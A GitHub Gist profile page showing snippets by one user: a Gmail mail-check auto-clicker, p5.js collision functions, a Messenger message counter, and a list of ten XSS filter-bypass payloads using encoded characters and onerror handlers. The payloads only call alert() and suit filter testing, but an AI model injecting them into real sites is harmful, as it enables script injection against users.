Skip to content

Instantly share code, notes, and snippets.

Avatar

Thomas Orlita ThomasOrlita

View GitHub Profile
@ThomasOrlita
ThomasOrlita / autocheck.js
Last active Mar 31, 2020
Gmail auto check mail from POP3 every 5 min
View autocheck.js
setInterval(() => {
location.href = 'https://mail.google.com/mail/u/0/#settings/accounts';
const elements = [...document.querySelectorAll('span')].filter(el => el.textContent.includes('Check mail now'));
// const elements = document.querySelectorAll('.rP.sA');
elements.forEach(el => el.click());
}, 5 * 60 * 1000);
@ThomasOrlita
ThomasOrlita / math_collisions.js
Last active May 1, 2019
geometry collisions and functions for math/p5js
View math_collisions.js
function collisionPointCircle(pointX, pointY, circleX, circleY, circleR) {
return p5.prototype.dist(pointX, pointY, circleX, circleY) <= circleR;
}
function collisionCirclePoint(circleX, circleY, circleR, pointX, pointY) {
return collisionPointCircle(pointX, pointY, circleX, circleY, circleR);
}
function collisionPointLine(pointX, pointY, lineX1, lineY1, lineX2, lineY2) {
var d1 = dist(pointX, pointY, lineX1, lineY1);
@ThomasOrlita
ThomasOrlita / fb_messages_counter.js
Created Jan 27, 2019
Counts the number of identical messenger messages and sorts them from the most common.
View fb_messages_counter.js
var messages = [
{
"sender_name": "Lorem Ipsum",
"timestamp_ms": 0000000000000,
"content": "Message content",
"type": "Generic"
},
.........
];
var counts = [];
@ThomasOrlita
ThomasOrlita / gist:e2e4a6d72877c8c897082eefe969578a
Created Aug 14, 2018
XSS Filter Bypass List with indexes
View gist:e2e4a6d72877c8c897082eefe969578a
<script\x20type="text/javascript">javascript:alert(0);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(2);</script>
<script\x09type="text/javascript">javascript:alert(3);</script>
<script\x0Ctype="text/javascript">javascript:alert(4);</script>
<script\x2Ftype="text/javascript">javascript:alert(5);</script>
<script\x0Atype="text/javascript">javascript:alert(6);</script>
'`"><\x3Cscript>javascript:alert(7)</script>
'`"><\x00script>javascript:alert(8)</script>
<img src=1 href=1 onerror="javascript:alert(9)"></img>